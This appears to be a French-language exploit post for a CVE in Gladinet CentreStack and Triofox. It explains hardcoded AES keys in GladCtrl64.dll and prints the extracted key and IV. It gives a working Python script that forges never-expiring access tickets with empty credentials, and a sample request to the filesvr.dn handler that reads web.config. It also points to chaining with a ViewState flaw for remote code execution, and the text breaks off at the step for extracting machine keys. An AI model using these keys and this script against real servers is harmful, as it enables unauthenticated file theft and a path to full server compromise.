CVE-2025-14611 CentreStack et Triofox Poc/Exploit complet

Résumé

Cette vulnérabilité provient de clés cryptographiques codées en dur dans les produits Gladinet CentreStack et Triofox, permettant la lecture arbitraire de fichiers via des tickets d’accès falsifiés. L’implémentation du chiffrement AES-256 utilise des clés statiques et immuables intégrées directement dans le binaire de l’application (GladCtrl64.dll), permettant à tout attaquant qui extrait ces clés de :

Déchiffrer des tickets d’accès légitimes pour comprendre les chemins de fichiers internes et la configuration système
Forger des tickets d’accès malveillants avec des horodatages n’expirant jamais pour lire des fichiers arbitraires sur le serveur
Contourner l’authentification en laissant les champs nom d’utilisateur et mot de passe vides, ce qui force l’application à utiliser l’identité du pool d’applications IIS
Enchaîner cette vulnérabilité avec CVE-2025-30406 (désérialisation ViewState) pour exécuter du code à distance

La vulnérabilité affecte toutes les versions de Gladinet CentreStack et Triofox antérieures à 16.12.10420.56791 et a été activement exploitée dans la nature depuis au moins novembre 2025.

Analyse

1. Génération et stockage des clés

La vulnérabilité commence par la façon dont les clés cryptographiques sont générées et stockées dans GladCtrl64.dll. Les fonctions GenerateSecKey et GenerateSecKey1 sont responsables de fournir la clé de chiffrement AES et le vecteur d’initialisation (IV).

Flux de génération des clés :

Au démarrage de l’application serveur CentreStack, la classe SysKeyMgr appelle AccessKeyMgr64.GetSysEncKey, qui invoque GenerateSecKey située dans GladCtrl64.dll. Cette fonction :

PSTR sub_180001000(wchar16* arg1)
{
    int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, 
        lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr, 
        cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
    
    if (cbMultiByte != 0) {
        PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
        
        if (lpMultiByteStr != 0) {
            if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1, 
                    cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte, 
                    lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
                return lpMultiByteStr;
            
            sub_180001290(lpMultiByteStr);
        }
    }
    return nullptr;
}

La fonction convertit les chaînes encodées en UTF-16LE en UTF-8 à l’aide de l’API Windows WideCharToMultiByte avec la page de codes 0xfde9 (UTF-8). Les données sources sont stockées à deux emplacements mémoire statiques :

Source de la clé (0x18000c000) : Une chaîne UTF-16LE de 100 octets contenant du texte chinois
Source du IV (0x18000c2c0) : Une chaîne UTF-16LE de 100 octets commençant par « moDriv » suivie de texte japonais

Constat critique : Ces chaînes ne changent jamais d’une installation à l’autre du logiciel. Le nom de la fonction GenerateSecKey est trompeur — elle ne génère pas de clés dynamiquement mais renvoie simplement des chaînes statiques préexistantes du binaire.

2. Les clés codées en dur

Grâce à l’analyse de rétro-ingénierie, les clés codées en dur ont été extraites de la section .data de GladCtrl64.dll :

Mémoire à 0x18000c000 (Source de la clé) :

0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...

Une fois décodée de l’UTF-16LE vers l’UTF-8, cela produit du texte chinois :

不过，调查也显示，日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...

Mémoire à 0x18000c2c0 (Source du IV) :

6d 6f 44 72 69 76 65 00   // "moDriv" en ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...

Une fois décodée, cela produit :

moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...

Clés cryptographiques finales :

L’application utilise les 32 premiers octets de la source de clé encodée en UTF-8 comme clé AES-256, et les 16 premiers octets de la source du IV encodée en UTF-8 comme vecteur d’initialisation :

Clé AES-256 : e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
IV AES :      6d6f4472697665e381afe38081e38389

3. Le gestionnaire de téléchargement de fichiers vulnérable

La vulnérabilité est exploitée via le gestionnaire HTTP filesvr.dn, qui est mappé à la classe GladinetStorage.FileDownloadHandler. Ce gestionnaire traite les tickets d’accès chiffrés passés via le paramètre de requête t.

Structure du ticket d’accès :

Les tickets d’accès sont des champs séparés par des sauts de ligne et chiffrés avec AES-256-CBC :

Ligne 0 : Chemin du fichier (chemin absolu sur le serveur)
Ligne 1 : Nom d’utilisateur (compte Windows à usurper)
Ligne 2 : Mot de passe (informations d’identification pour ce compte)
Ligne 3 : Horodatage (heure de création du ticket)

Le processus de déchiffrement :

Le gestionnaire reçoit le paramètre t et effectue un assainissement personnalisé, en remplaçant les caractères URL-safe (: → +, | → /)
La valeur est décodée en Base64 pour obtenir le texte chiffré
AccessTicket.Decrypt est appelé, qui récupère la clé SysKey statique (32 premiers octets) et SysKey1 (16 premiers octets)
Un chiffrement AES-256-CBC est configuré avec ces clés
Le ticket est déchiffré et analysé

Contournement de la validation de l’horodatage :

Le gestionnaire compare l’horodatage du ticket à l’heure actuelle du serveur. Si le ticket a plus de 4 heures, il est rejeté. Cependant, les attaquants peuvent définir l’horodatage à l’année 9999, créant ainsi un ticket qui n’expire jamais :

9999-11-27 14:52:04.009217

Cela crée une porte dérobée persistante pouvant être réutilisée indéfiniment.

4. Contournement de l’authentification via des informations d’identification vides

Après le déchiffrement, le gestionnaire extrait les champs Nom d’utilisateur et Mot de passe et tente d’initialiser un contexte d’usurpation. Vulnérabilité critique : Lorsque les deux champs sont des chaînes vides, la logique d’usurpation échoue et revient à l’identité du pool d’applications IIS.

Cela permet une lecture arbitraire de fichiers sans authentification, car l’application s’exécute avec des privilèges élevés mais ne nécessite aucune information d’identification valide.

Exemple de ticket malveillant :

C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[vide]
[vide]
9999-11-27 14:52:04.009217

5. Exploitation dans la nature

Une exploitation active a été observée depuis novembre 2025. Les attaquants suivent ce schéma :

Étape 1 : Forger un ticket d’accès

En utilisant les clés extraites, les attaquants créent des tickets chiffrés ciblant web.config :

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')

Étape 2 : Envoyer une requête malveillante

Le ticket forgé est envoyé au point de terminaison vulnérable :

GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com

Étape 3 : Extraire les clés machine

CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit

Populaires